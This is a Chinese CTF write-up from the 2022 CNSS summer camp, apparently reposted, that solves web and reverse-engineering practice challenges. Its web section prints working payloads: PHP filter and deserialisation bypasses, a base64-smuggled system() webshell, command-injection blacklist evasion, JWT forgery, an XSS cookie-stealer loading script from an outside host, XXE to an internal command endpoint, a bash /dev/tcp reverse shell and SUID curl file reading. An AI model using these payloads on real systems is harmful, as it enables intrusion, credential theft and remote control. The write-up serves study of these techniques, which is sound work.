[CTF]2022 CNSS夏令营 WebReverse 复现wp

news/2024/4/20 14:28:29/文章来源:https://www.cnblogs.com/timlzh/p/16552530.html

写在前面

很有趣的一次(大)学前教育, 作为一个22级泥电新生, 对CTF网安类的东西完全是一窍不通, 进新生群然后就被拉进来Van了. 结果没想到还挺好玩(可能是我这几天太无聊了), 边学边打居然还能霸几天榜一, 满足了. 其实我就只是总榜高, 细分分区我其实不是很行的, 毕竟都是现学.

还是很开心的, 高二有想过打CTF, 但是后面搁置了就忘了, 这也算是圆梦了. 一下能入门接触到这些Web/Re/PWN/Crypto, 接触了IDA/Burp Suite/PWNTools等等, 很有成就感, 也很有满足感. 至少暑假不是在颓废了. 嘿嘿~

BTW, CNSS的佬们还是很好很热情的, 氛围很好, 开森(/≧▽≦)/.

WEB

🚩 Signin | 难度评分: ★

新手友好签到题!

直接打开链接, 显示Please Change Your Method!. 改成Post后访问出现PHP代码:

<?php
error_reporting(0);
require_once("flag.php");
if($_SERVER['REQUEST_METHOD'] !=='POST'){die("Please Change Your Method!");exit();
}else{if(!isset($_POST["CNSS"])){show_source(__FILE__);}else if($_POST["CNSS"] === "join"){if((isset($_GET["web"])) && (($_GET["web"]) === "like")){setcookie("flag","0");if($_COOKIE['flag'] === '1'){echo $flag;}else{show_source(__FILE__);}}else{show_source(__FILE__);}}
}

很明显, 需要在POST的data里加入CNSS: join, 在GET的args里写上?web=like, 并且设置cookie中flag=1, 就会打印flag啦~

Python代码

import requestsurl = 'http://8.130.29.197:6001?web=like'
data = {'CNSS': 'join'}
cookies = {'flag': '1'}
x = requests.post(url, data=data, cookies=cookies)
print(x.text)

或Burp Suite:

Burp Suite

结果:

FLAG

CNSS{Y0u_kn0w_GET_and_POST}


⚙️ D3buger | 难度评分: ★

题目目的就是让我们不要仅限于F12罢(

其实用Burp Suite直接就打开了, 这里不讲了. 如果用网页的话, 我建议是先打开一个网页, 比如baidu.com, 然后F12打开开发者工具, 再在地址框输入访问目标地址, 这样好像是无解的, 无法检测.

答案就在fuck.js(什么奇葩名字

image

(捏吗, xlykle这种佬又在演!

CNSS{Wh@t_A_Sham3le55_thI3f}


🔢 更简单的计算题 | 难度评分: ★

奇奇怪怪的题目

打开, 计算出结果后输入发现只能输入5位, 提交也不能点.

直接F12, 把max-length改成-1, 把disable去掉就行.

image

CNSS{ohhh__m@th_1s_s0_ez!!!}


🔢 更坑的计算题 | 难度评分: ★★

开始上难度, 要用到脚本辽

打开发现限时, F12能看出来那个+1s纯纯的摆设(真暴力啊. 一秒钟的限时. Python直接算出来提交就行了, 记得把Cookie带上哦!

import requests
import reurl = 'http://8.130.29.197:6003/'get = requests.get(url)
cookies = get.cookies# 正则匹配出乘法式子, a*b, 再通过split分割成两个数, 转为int乘出结果
# 格式: <p>22159793*39616436=</p><form method="post">
equation = re.findall(r'<p>(.*?)=</p><form method="post">', get.text)[-1]
a, b = equation.split('*')
ans = int(a)*int(b)post = requests.post(url, data={'res': ans}, cookies=cookies)print(post.text)

结果

image

CNSS{w#y_5o_f4st?}

🇨🇳 China Flag | 难度评分: ★★★

这道题把我卡死了(, 脑洞太大, 有种Misc的感觉. 而且用Python访问不能正常出结果

Referer

强制跳转啥的就不管了, 直接进到http://8.130.29.197:6004/china.php里, 问?我的朋友,你从哪儿找来的, 结合hint说的http报头, 那"从哪来"大概率指的Referer.

X-Forwarded-For

尝试几个可能的Referer后发现, Referer为http://8.130.29.197:6004/index.php时, 提示信息变成了你真的是土生土长的拆尼斯🐴?. 联想到梯子, 可能指的是代理, 报头里X-Forwarded-For可以体现. 而土生土长指的是本地ip127.0.0.1.

所以设置X-Forwarded-For127.0.0.1, Burp Suite就能出正确结果了.

Accept-Language

但是如果使用Python会莫名多个考点, 就是要把Accept-Language设置成zh-CN, (Burp Suite默认就是),并且这一步没有任何提示(据说本来有, 可能出问题了). 所以把我卡死了, 因为做这道题的时候我还不会Burp Suite, 用Python写的脚本...乌鱼子~

image

CNSS{ohHHHHH~~~Ch1ne5e_Kungfu!}


🤥 Trick | 难度评分: ★★★★

确实是一道搜索引擎应用题, PHP漏洞多, 不可能全部记住, 找到重点可疑句子拿去搜索, 大概率有结果

访问得到php代码

<?phperror_reporting(0);require_once("flag.php");show_source(__FILE__);$pass = '0e0';$md55 = $_COOKIE['token'];$md55 = md5($md55);if(md5($md55) == $pass){if(isset($_GET['query'])){$before = $_GET['query'];$med = 'filter';$after = preg_replace("/$med/", '', $before);if($after === $med){echo $flag1;}}$verify = $_GET['verify'];}extract($_POST);if(md5($verify) === $pass){echo $$verify;}
?>

[漏洞 0x00] 弱类型比较漏洞 (==)

php有两种类型比较的符号, 弱类型比较==和强类型比较===. 在弱类型比较时会转换变量类型, 这样有些不相等的东西也会变相等了.

这里就是利用了弱类型比较时, 0e开头且后面都是数字的字符串会被转换成科学计数法的数字, 也就是0的n次方, 都等于零. 所以'0exxxxx'都是弱比较相等的.

所以我们只需要找到md5加密两次之后, 开头还是0e的字符串. 写个Python脚本爆破一个出来Google一下能找到已经爆破好的字符串, 如f2WfQiv2Cn.

把偷来的爆破脚本也Po出来(来源xianyu123's Blog)

import string
import hashlibpayload = string.ascii_letters + string.digitsdef calc_md5(s):md5 = hashlib.md5(s.encode("utf-8")).hexdigest()md5_double = hashlib.md5(md5.encode("utf-8")).hexdigest()if (md5_double[0:2] == "0e" and md5_double[2:].isdigit()):print(s)def getstr(payload, s, slen):if (len(s) == slen):calc_md5(s)return sfor i in payload:sl = s + igetstr(payload, sl, slen)# 字符串长度从0到30,肯定找得到
for i in range(3, 30):getstr(payload, '', i)

所以我们把cookie设置成token=f2WfQ就能直接绕过第一个md5验证.

[漏洞 0x01] 正则匹配漏洞

如代码所示, 会把fliter从字符串里去掉, 并且要求去掉后的字符串还是fliter.

那么其实动动歪脑筋, 把这个单词拆开放在这个单词两边就行了, 如flfliteriter, 代码会把中间的fliter字样去掉, 去掉了还是fliter这个单词.

所以把query设置成flfliteriter就好了.

这个时候运行就可以得到前半个flag了, 也就是flag1.

image

为什么只有一半的变量捏, 那有flag1肯定有flag2是吧, 我们怎么输出flag2捏?

[漏洞 0x02] extract漏洞

extrat会把字典里的内容提取出来变成变量, 这个过程会覆盖掉原有的同名变量这样就可以替换掉.

所以我们post个verifypass上去, 让md5(verify)pass相等就行.

[漏洞 0x03] 双$$转义漏洞

绕过了那个if了, 怎么打印flag2呢?

仔细看, 最后一个echo的是$$verify, 有两个$. 这样会将verify的内容当成变量名再取一次变量.

比如, 如果$verify = "flag2", 那$$verify就是$flag2.

那么我们就只需要将verify设置成flag2即可打印出flag2

此时pass就是"flag2"这个字符串的md5值

代码及结果

完整Python源码:

import requestsurl = 'http://8.130.29.197:6005?query=ffilterilter'
cookie = {"token": "f2WfQ"}
# md5("flag2") = 9a48ddad2656385fce58af47a0ef56cf
data = {"pass": "9a48ddad2656385fce58af47a0ef56cf", "verify": "flag2"}
x = requests.post(url, cookies=cookie, data=data)print(x.text)

image

CNSS{B4by_9h9_Tr1ck}


⬛ BlackPage | 难度评分: ★★★★

php://filter

打开网页, 在网页源码的注释里找到线索:

<?phps
$file = $_GET["file"];
$blacklist = "(**blacklist**)";
if (preg_match("/".$blacklist."/is",$file) == 1){exit("Nooo,You can't read it.");
}else{include $file;
}
//你能读到 mybackdoor.php 吗?

考点是php://filter和包含的应用, 这里Po一篇详细的解释: 探索php://filter在实战当中的奇技淫巧

这里我们直接用php://filter/read=convert.base64-encode/resource=就能读取mybackdoor.php文件. 访问http://8.130.29.197:6006/?file=php://filter/read=convert.base64-encode/resource=mybackdoor.php即可.

image

(这个输出在黑色图片上, 一晃眼真会忽略掉)

Tab代替空格/URL编码

拿去base64解密后就能看到mybackdoor.php:

<?php
error_reporting(0);
function blacklist($cmd){$filter = "(\\<|\\>|Fl4g|php|curl| |0x|\\\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)";if (preg_match("/".$filter."/is",$cmd)==1){  exit('Go out! This black page does not belong to you!');}else{system($cmd);}
}
blacklist($_GET['cmd']);
?>

这里禁用了很多命令, 甚至包括空格, 但是我们可以用tab来替代空格, tab在url编码里是%09, 所以ls /就可以写成ls%09/.

访问http://8.130.29.197:6006/mybackdoor.php?cmd=ls%09得到目录下文件, flag文件名为Fl4g_is_here

绕过正则匹配

image

现在我们需要输出这个文件, 有几个不同的方法

[方法 0x00] 单引号绕过preg_match

这里涉及到单引号可以绕过preg_match的考点, cat不能用, 写成c'a't就行了.

于是输出命令就变成了c'a't%09F'l'4'g_is_here

[方法 0x01] 使用nl命令

nl是输出带行号的文件内容的命令, 且可以模糊匹配文件名, 这里没有被禁掉, 我们就可以直接nl%09/F[a-z]4g_is_here运行

[方法 0x02] 使用base64编码读取

linux的echo可以解码base64, 可以利用这个特性绕过正则, 输出工具用tac, nl这些都行, 反引号意思是将echo的结果输出给前面的命令, /Fl4g_is_here的加密结果为L0ZsNGdfaXNfaGVyZQ所以可以直接使用

nl%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`
或
tac%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`

输出flag

结果

上面的命令任选其一, 作为参数访问http://8.130.29.197:6006/mybackdoor.php?cmd=即可.

image

CNSS{0ops!Y0u_G0t_My_Bl4ckp4ge!}


☯️ 太极掌门人 | 难度评分: ★★★

打开页面获得php代码

<?phperror_reporting(0);show_source(__FILE__);function deleteDir($path) {if (is_dir($path)) {$dirs = scandir($path);foreach ($dirs as $dir) {if ($dir != '.' && $dir != '..') {$sonDir = $path.'/'.$dir;if (is_dir($sonDir)) {deleteDir($sonDir);@rmdir($sonDir);} elseif ($sonDir !== './index.php'&& $sonDir !== './flag.php') {@unlink($sonDir);}}}@rmdir($path);}}$devil = '<?php exit;?>';$goods = $_POST['goods'];file_put_contents($_POST['train'], $devil . $goods);sleep(1);deleteDir('.');?>

函数里一大段不用管, 用来删除你扔进去的文件的,主要是看后面这几行

$devil = '<?php exit;?>';
$goods = $_POST['goods'];
file_put_contents($_POST['train'], $devil . $goods);
sleep(1);
deleteDir('.');

很明显, 你可以通过file_put_contents写点文件到某个php文件里, 然后你有一秒的时间访问它.

但是写入它之前明显你需要先去掉或者绕过<?php exit;?>才能使你写入的代码正常执行.

所以这里就涉及到file_put_contents的漏洞问题了, 由于此函数的特性, 文件名处(也就是这段代码里的train), 可以使用php://filter语句, 我们就可以通过filter加解密的方式将破坏掉

php://filter/write=convert.base64-decode/resource=shell.php 可以将内容解密后再写入, 我们传入我们想要的代码的base64密文, 拼接在前面的<?php exit;?>会被解码成乱码, 而我们的代码可以正常解密.

需要注意的是, 由于符号不会被解密, <?php exit;?>被解密的就只有phpexit这七个字符. base64密文是4个为一组, 所以我们需要再多添一位.

比如, 我想执行<?php system('cat flag.php');?>, 这段话加密后为PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==, 我们在前面添加一位变成aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==. 这样传进去解码后的结果就是�^�+Z<?php system('cat flag.php');?>, 执行后直接就输出了.

Python代码:

import requests
from threading import Thread
from time import sleepurl = "http://8.130.29.197:6002/"
url2 = "http://8.130.29.197:6002/shell.php"
data = {'goods': 'aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==','train': 'php://filter/write=convert.base64-decode/resource=shell.php',
}t = Thread(target=requests.post, args=(url, data))
t.start()
sleep(0.5)
x = requests.get(url2)
print(x.text)

因为只有1s, 所以我用多线程同时访问两个页面, 不会超时.

结果:

image

CNSS{F45ter_7han_Re5per}

我刚刚复现这道题的时候试了试另外一个方法, 就是服务器不让直接访问flag.php, 那我就把flag.php改名成flag1.php然后访问, 这个是可以实现的, 但是!!!我没改回来, 所以flag1.php就被自动删除掉了, 导致flag没了!没了!没了!, 幸好flag有记录, 这玩意可以执行任何系统代码, 我就写回去了.


🥳 To_be_Admin | 难度评分: ★★

直接访问, 从主页跳转到/admin, 提示需要admin. 抓包发现token, (虽然不知道是什么token但是直接复制粘贴到必应搜索)发现是JWT.

使用jwt.io解密发现Payload里带username, 改为admin即可.

image

但是稍加了解jwt就知道你还需要一个给定的key来加密验证段, 这个key在哪里找呢?

主页给了一个hint是/read页面, 打开提示GET file, 那么我们就加上file参数读文件. 先试了/read?file=flag.php, 返回Hacker. 说明对特殊字符串进行了正则屏蔽.

遂搜索, 找到一篇介绍CTF中linux常见文件读取路径的文章.

文章链接:任意文件读取漏洞-文件读取漏洞常见读取路径(liunx)

一个一个试. 到/read?file=/proc/self/environ的时候找到了Key.

image

THIS_is_a_KEY

填入jwt, 获得重新加密的tokeneyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.rcaAsLy8BWRTgbRy-Npw2eNarwBAZzINqA2LSZKcQhA

image

修改cookie中的token即可, 最后可能需要到css文件里复制flag.

image

CNSS{yeeeeeee_Y0u_are_Adm1n_n0w}


🤐 To_be_Admin_Again | 难度评分: ★★★★

打开页面得到php代码:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
highlight_file(__FILE__);
class CNSS{private $username = 'guest';private $code = 'phpinfo();';public function __construct(){$this->username = $username;$this->code = $cmd;}function __wakeup(){$this->username = 'guest';}function __destruct(){if($this->username === 'admin'){eval($this->code);}}
}// You must be interested in save.php

最后一行提示去看save.php:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
highlight_file(__FILE__);
if (isset($_GET['cnss'])) {$_SESSION['cnss'] = $_GET['cnss'];
}

稍加搜索就能知道是反序列化问题, 现在就是要构建这个反序列, 然后绕过wakeup函数. 教程比较长, 网上的都很详细, 善用搜索, 这里就不写了.

说个不常见的问题, 我最先构建出来的是这样的

O:4:"CNSS":3:{s:8:"username";s:5:"admin";s:4:"code";s:20:"system("cat /flag");";}

运行后没反应, 然后我骚扰xlykle之后发现这两个变量都是private, 网上的大多都是public, 所以寻找到private需要在前面加上%00类名%00来表示私有, 注意%00是一个字符(其实就是\0), 所以改成:

O:4:"CNSS":3:{s:14:"%00CNSS%00username";s:5:"admin";s:10:"%00CNSS%00code";s:20:"system("cat /flag");";}

所以先访问http://8.130.29.197:6008/save.php?cnss=|O:4:%22CNSS%22:3:{s:14:%22%00CNSS%00username%22;s:5:%22admin%22;s:10:%22%00CNSS%00code%22;s:20:%22system(%22cat%20/flag%22);%22;}, 再访问http://8.130.29.197:6008/得到结果

image

CNSS{Admin_1s_w4tch1ng_y0u}


😰To_be_Admin_Again_and_Again

XSS攻击.

image

与admin有关, 可以尝试http://1.117.6.207:65005/admin, 显示Get out, HACKER! Only admin can see the flag!, 说明需要一个admin的验证, 这里想到获取admin的cookie.

每条留言会自动查看, 可以使用XSS攻击, 很容易看出来Name和Email两栏有XSS漏洞, 可以使用">封闭input标签并插入一个script标签进行Cookie的获取. 这里我直接使用了一个XSS平台进行了payload构建, 可以自己搭服务器.

payload: "><sCRiPt sRC=//uj.ci/Qpae></sCrIpT>

使用preview可以发现payload已被正常解析成了html语句, 后台也收到了cookie:
image

image

然后只需要暴力碰撞一下这个sha256即可发送至后台获取Admin的cookie.

碰撞代码的python源码:

import hashlibdef sha256(s):return hashlib.sha256(s.encode('utf-8')).hexdigest()if __name__ == "__main__":def sha256Crack(token):for i in range(10000000000):# print(sha256(i))a = sha256(f"{i:04d}")[:6] print(f'\r{a}', end='', flush=True)if a == token[:6]:print()return iprint()return Noneprint(sha256Crack(str(input())))

💉 Inject me | 难度评分: ★★★★★★

Hurrison的高质量神题

我认为这道题的质量非常高, 涉及的知识面很广, 需要耐下心一点一点尝试才能找到突破口. 以下我都是直接总结出来正确做法, 其实当时的思路偏差很大, 一点一点纠正回来的. 比如看到127.0.0.1的第一想法是改X-Forwarded-For为127.0.0.1、看到权限问题想到直接提权shell等, 这些错误的想法就不一一列出来了.

注意: 建议使用linux系统运行wp中的python脚本, windows由于网络区别可能会有bug

打开链接发现404, 下载jar后反编译发现是springboot架构, 阅读代码找到几个关键链接/cnss/summer/login, /cnss/summer/parse, /cnss/doCmd

Step 1. 绕过loginparse的filter

/cnss/summer/login post请求 us3rname和pa@sswd, 返回token (md5), SESSION的有效时长仅有5秒

/cnss/summer/parse 需要使用SUMMMMMER请求 Header中需要附上一个UUID, 这个UUID加密后的结果和token的前四位相等, 则认为是合法的请求, 通过filter, 这个UUID可以直接暴力破解出来.

image

image

实现代码:

from requests import Session, Request
import hashlib
import itertools
import json# 获取md5
def md5(s):m = hashlib.md5()m.update(s.encode('utf-8'))return m.hexdigest()# 生成一个由常见字符随机组合成的字典, 1-4位
word = 'abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+{}|:"<>?[]\;\',./'
dic = []
for i in range(1, 4):dic.extend([''.join(x) for x in itertools.product(word, repeat=i)])# 返回碰撞出的结果
def md5Crack(token):return next((i for i in dic if md5(i)[:4] == token[:4]), None)if __name__ == "__main__":# 创建一个Sessions = Session()# 登录并获取tokenloginUrl = 'http://1.117.6.207:45864/cnss/summer/login'loginRes = s.post(loginUrl, json={'us3rname': 'us3rname', 'p@ssword': 'p@ssword'})token = loginRes.json()['data']['token']# 碰撞伪造一个md5相同的uuidforgeUUID = md5Crack(token)print(forgeUUID)xml = "xml负载"url = 'http://1.117.6.207:45864/cnss/summer/parse?nammmmme=us3rname'data = {'username': 'us3rname','xml': xml,}headers = {'UUID': forgeUUID,'Content-Type': 'application/json','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36'}# 初始化SUMMMMMER请求summerRequest = Request('SUMMMMMER', url, data=json.dumps(data), headers=headers)prep = s.prepare_request(summerRequest)x = s.send(prep)print(x.text)print(x.json()['data'])

Step 2. 绕过doCmd的filter

/cnss/cmd?cmd= 可以执行命令, 但是需要从127.0.0.1发起请求, 根据题目hintXXE注入可以想到通过/cnss/summer/parse对xml的编码进行xxe注入, 从本地发起请求.

这里要注意xml中的url要使用url编码

修改上文代码如下

from urllib.parse import quote...# XXE注入, 这里对command进行了url编码避免出错command = '命令'  xml = f'''<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE test[<!ENTITY xxe SYSTEM "http://127.0.0.1:5000/cnss/doCmd?cmd={quote(command)}">]><root>&xxe;</root>'''...

Step 3. 反弹shell

根据hint可以想到用doCmd反弹一个shell, 这里可能需要你有一个具有公网ip的服务器.

先贴上代码, command改为如下:

command = 'bash -i >& /dev/tcp/你服务器公网ip/你nc监听的端口 0>&1'  # 反弹shell

使用你的服务器打开nc监听, 具体命令为nc -l -vv -p [端口], 比如我使用nc -l -vv -p 6809, 效果如下, 说明已经开始监听:

image

此时运行上面的代码, 可以发现shell已经被弹到我们的命令行中了, 此时可以随意输入指令了

image

Step 4. 使用curl命令提权, 访问flag

在shell中返回到根目录, ls发现有fl444444g, 直接输出发现权限不足, 需要提权.

image

此处当时我寻找的教程是知乎文章: Linux提权的几种常用方式, 也推荐仔细阅读一下hurrison大佬hint中的教程, 更加详细.

使用命令find / -perm -u=s -type f 2>/dev/null找到有root权限的命令:

image

发现curl在其中, 可以使用file://协议 + curl读取文件:

命令: curl file:///fl444444g

image

找到flag.

CNSS{5dc5330bbeac0192a8db6bf9b269470781e74aff192623e0419edfa0c5e2f8ad}

Reverse

💡 Hello Reverse | 难度评分: ★

下载IDA, 打开工程, flag就在眼前.

image

cnss{This_is_the_format_of_flag}


🐸 Find the key | 难度评分: ★

可以扔进linux运行, 可以不运行. 我直接用IDA打开, 找到main函数, 跟着hint一步一步来.

image

Hint:push F5 in the IDA.按下F5反编译, 可以看到伪C代码.

image

看函数有个叫click_me的, 直接点开

image

You can see the key1 in assemble window去assemble window可以看到转char后的变量值

image

找到第一部分flagIDA-is

继续走到next, 提示进I_am_hear

image

进去后看到第二部分flaga-useful-tool, 并提示搜索key, 搜索到结果of-reverse

image

所以flag就是cnss{IDA-is-a-useful-tool-of-reverse}


💯 Baby C code | 难度评分: ★

扔IDA直接F5, 得到核心伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{char a[6]; // [rsp+2Ah] [rbp-16h] BYREFint i_1; // [rsp+30h] [rbp-10h]int i_0; // [rsp+34h] [rbp-Ch]char b; // [rsp+3Bh] [rbp-5h]int i; // [rsp+3Ch] [rbp-4h]_main(argc, argv, envp);strcpy(a, "cnss{");for ( i = 0; i <= 4; ++i )flag[i] = a[i];b = 65;for ( i_0 = 5; i_0 <= 17; ++i_0 ){flag[i_0] = b;b += 2;}flag[18] = 125;puts("Plz input the flag:");scanf("%19s", input);if ( strlen(input) == 19 ){for ( i_1 = 0; i_1 <= 18; ++i_1 ){if ( flag[i_1] != input[i_1] )goto LABEL_8;}puts("Congratulation");system("pause");return 0;}else{
LABEL_8:puts("Wrong");system("pause");return 0;}
}

关键部分是

strcpy(a, "cnss{");
for ( i = 0; i <= 4; ++i )flag[i] = a[i];
b = 65;
for ( i_0 = 5; i_0 <= 17; ++i_0 )
{flag[i_0] = b;b += 2;
}
flag[18] = 125;

65是A的ascii码, 然后每隔两个取一个, 取13个, 就是ACEGIKMOQSUWY

所以flag就是CNSS{ACEGIKMOQSUWY}


🎫 Baby XOR | 难度评分: ★★

IDA打开发现加密, 直接F5

image

核心问题是v4经过了怎样的加密, 进入sub_4016EC函数.

int __cdecl sub_4016EC(int a1)
{int result; // eaxint i; // [esp+1Ch] [ebp-Ch]for ( i = 0; i <= 32; i += 3 )result = sub_401698(2 * i + a1);return result;
}

发现这里IDA解析出来的参数是int, 我们明显传进去的是字符串数组, 所以我们直接修正成_WORD*类型

_WORD *__cdecl sub_4016EC(_WORD *a1)
{_WORD *result; // eaxint i; // [esp+1Ch] [ebp-Ch]for ( i = 0; i <= 32; i += 3 )result = sub_401698(&a1[i]);return result;
}

结合sub_401698

_WORD *__cdecl sub_401698(_WORD *a1)
{_WORD *result; // eax*a1 ^= a1[1];a1[2] ^= a1[1];result = a1 + 1;a1[1] ^= *a1;return result;
}

可以看出来这里给数组三个一组进行异或处理, 简化成python代码就是

def encode(a):for i in range(0, 33, 3):a[i] ^= a[i + 1]a[i + 2] ^= a[i + 1]a[i + 1] ^= a[i]

异或运算是可逆的, 我们直接反着来一遍即可:

def decode(a):for i in range(0, 33, 3):a[i + 1] ^= a[i]a[i + 2] ^= a[i + 1]a[i] ^= a[i + 1]

然后我们找到word_403020的值, 直接右键改成Array, 大小看_main中是34

image

直接export出去, 改成Python的格式:

word_403020 = [13,99,29,8,115,46,59,95,11,30,95,30,40,71,0,59,100,21,13,111,61,39,73,49,1,100,6,11,111,1,0,33,92,0,
]

结合我们的解密代码, 可以写出python解密程序

word_403020 = [13,99,29,8,115,46,59,95,11,30,95,30,40,71,0,59,100,21,13,111,61,39,73,49,1,100,6,11,111,1,0,33,92,0,
]def decode(a):for i in range(0, 33, 3):a[i + 1] ^= a[i]a[i + 2] ^= a[i + 1]a[i] ^= a[i + 1]decode(word_403020)print("".join([chr(c) for c in word_403020]))

运行结果:

image

cnss{U_do_A_Good_Job_In_decode!!}


😆 Encoder | 难度评分: ★★★

IDA打开

image

可以找到一个字符串aAbcdefghijklmn是ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, 这是base64加密的索引表.

image

读main函数中找到的sub_4016B6函数可以发现索引表被进行了更改.

所以这里自定义了索引表进行base64加密, 加密后的结果是jLG/5Q7iZ0NI9ituYKtwZLN0Z8UNxwiIWLit.

image

我们直接在更改索引表的函数之后的某一行上打上断点开始动态调试, 注意要输入长度为27且格式为cnss{xxxx}才能执行到那里

image

然后我们找到aAbcdefghijklmn, 就获取到了base64的索引表qAFHSNKTBUglYrbVc9MXWiaZjm345xkROp6Ewhouz2JDv7dfyCI/08LQPG+nste1

image

直接使用Python写个脚本解密就行

import base64originString = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' # 原索引表
changedString = 'qAFHSNKTBUglYrbVc9MXWiaZjm345xkROp6Ewhouz2JDv7dfyCI/08LQPG+nste1' # 替换后的索引表
encodedString = 'jLG/5Q7iZ0NI9ituYKtwZLN0Z8UNxwiIWLit' # 加密后的字符串print(base64.b64decode(encodedString.translate(str.maketrans(changedString, originString))))

运行结果:

image

cnss{U_ArE_g0od_at_REvErSe}


🤖 Baby Android | 难度评分: ★★

JADX打开, 发现使用了RC4加密, 密文是f18cda5ef7c83f104401c5385063e0e070b96400786da665b5, 秘钥是Sh1no.

找个RC4加密的脚本(RC4加解密通用, 解密就是再加密一次)

import binasciidef rc4_crypt(PlainBytes:bytes, KeyBytes:bytes) -> str:'''[summary]rc4 cryptArguments:PlainBytes {[bytes]} -- [plain bytes]KeyBytes {[bytes]} -- [key bytes]Returns:[string] -- [hex string]'''keystreamList = []cipherList = []keyLen = len(KeyBytes)plainLen = len(PlainBytes)S = list(range(256))j = 0for i in range(256):j = (j + S[i] + KeyBytes[i % keyLen]) % 256S[i], S[j] = S[j], S[i]i = 0j = 0for m in range(plainLen):i = (i + 1) % 256j = (j + S[i]) % 256S[i], S[j] = S[j], S[i]k = S[(S[i] + S[j]) % 256]cipherList.append(k ^ PlainBytes[m])result_hexstr = ''.join(['%02x' % i for i in cipherList])return result_hexstr.upper()if __name__ == "__main__":hexString='f18cda5ef7c83f104401c5385063e0e070b96400786da665b5'key = 'Sh1no'.encode('utf-8').hex()print("rc4 result:", binascii.a2b_hex(rc4_crypt(binascii.a2b_hex(hexString), binascii.a2b_hex(key))).decode())

结果:

cnss{4ndro1d_1s_5o_e1sy!}


🐍 EasyPy | 难度评分: ★★★★


🍉LOOPERS | 难度评分: ★★★★★★

网页打开可以在审查中找到wasm文件, 可以看出这道题是webAssembly的逆向. 先用wasm2c将wasm转成.c文件, 再编译成二进制文件, 用ida打开.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_2989.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JUC学习23:理解JMM

JUC学习23:理解JMM面试题:请你谈谈你对Volatile的理解:Volatile是Java虚拟机提供轻量级的同步机制;1,保证可见性(JMM);2,不保证原子性;3,禁止指令重排; 什么是JMM:JMM:Java内存模型,不存在的东西,概念,是一种约定;关于JMM的一些同步约定:线程解锁前:必须把…

channel与range、select

channel与range、selectpackage mainimport "fmt"func main() {c := make(chan int)go func() {for i := 0; i < 5; i++ {c <- i}//close可以关闭一个channelclose(c)}()//可以使用range来迭代不断操作channelfor data := range c {fmt.Println(data)}fmt.Prin…

channel

channel有缓冲与无缓冲同步问题package mainimport ("fmt""time" )func main() {c := make(chan int, 3) //带有缓冲的channelfmt.Println("len(c) = ", len(c), ", cap(c)", cap(c))go func() {defer fmt.Println("子go程结束&q…

selenium 常用操作汇总

使用selenium1、查看Chrome版本去下载浏览器驱动 驱动下载链接2、selenium官方网站 官方文档 selenium通信原理对于每一条Selenium脚本,一个http请求会被创建并且发送给浏览器的驱动 浏览器驱动中包含了一个HTTP Server,用来接收这些http请求 HTTP Server接收到请求后根据请…

不想当Window的Dialog不是一个好Modal,弹窗翻身记

Windows的灵魂是什么?当然是Window,当方便快捷的多窗口进入人们视野的时候,大家无不为之惊呼太好用了!!弹窗是我们熟视无睹的一种交互方式,经常用到,但从没好好想过这种交互行为背后的意义... 弹窗是Windows的灵魂 Windows的灵魂是什么?当然是Window,当方便快捷的多窗…

工具 -- git 汉化

说明 来源转载 https://blog.csdn.net/mansir123/article/details/121692125Git GUI汉化包来源 https://github.com/stayor/git-gui-zh转载 https://www.cnblogs.com/chenghu/articles/12678500.html1、git bash 汉化 这个Git bash本身就支持中文,只需要在打开Git bash后命令窗…

好多不懂的和bug

1、知道了MD5, 2、知道了validate是干什么的,(validate中的rules中编写验证规则,规范输入),可以在管理员在网站修改数据的时候对输入进行限制。1 <script type="text/javascript">2 $(function(){3 $("#addForm").validate({4 rul…

DevTools 无法加载来源映射:无法加载 webpack net::ERR_UNKNOWN_URL_SCHEME

问题:DevTools 无法加载来源映射:无法加载 webpack:///node_modules/element-plus/es/components/notification/src/notification.mjs.map 的内容:Fetch through target failed: Unsupported URL scheme; Fallback: HTTP 错误:状态代码 404,net::ERR_UNKNOWN_URL_SCHEME 当…

JAVA进阶--static、工具类、单例、继承--2022年8月28日

第一节 static静态关键字1、成员变量的分类和访问分别是什么样的?静态成员变量(有static修饰,属于类,加载一次,可以被共享访问)访问格式:类名.变量名(推荐)对象名.变量名(不推荐)实例成员变量(无static修饰,属于对象)访问格式:对象名.变量名2、两种成员变量各自…

QA特辑 | 看了这场直播,我找到了设备指纹“从不说谎”的原因

除了身份证外,设备指纹可能是唯一一个可以证明你是谁的方法。 究其原因,就在于设备指纹的唯一性和稳定性。 8月 25 日下午 15 点,顶象技术总监杜威就设备指纹的唯一性和稳定性的核心算法展开分享。直播过程中,我们也收到了一系列关于设备指纹唯一性稳定性核心算法的疑问,现…

YBTOJ [树状数组] 二进制

哇咔咔,此乃真好题!这种东西当然要抢个榜首辣qaq。 Solution 首先不带 \(+x\) 的做法,相信大家都会,维护一下全局二进制每一位 \(1\) 的个数,把 \(y\) 二进制拆分一下,就知道答案了。 这个 \(+x\) 真滴很恶心啊! 考虑这样一个事实,非常滴实用: 对于一个 \(x\) \(and\)…

科普达人丨一图看懂安全组

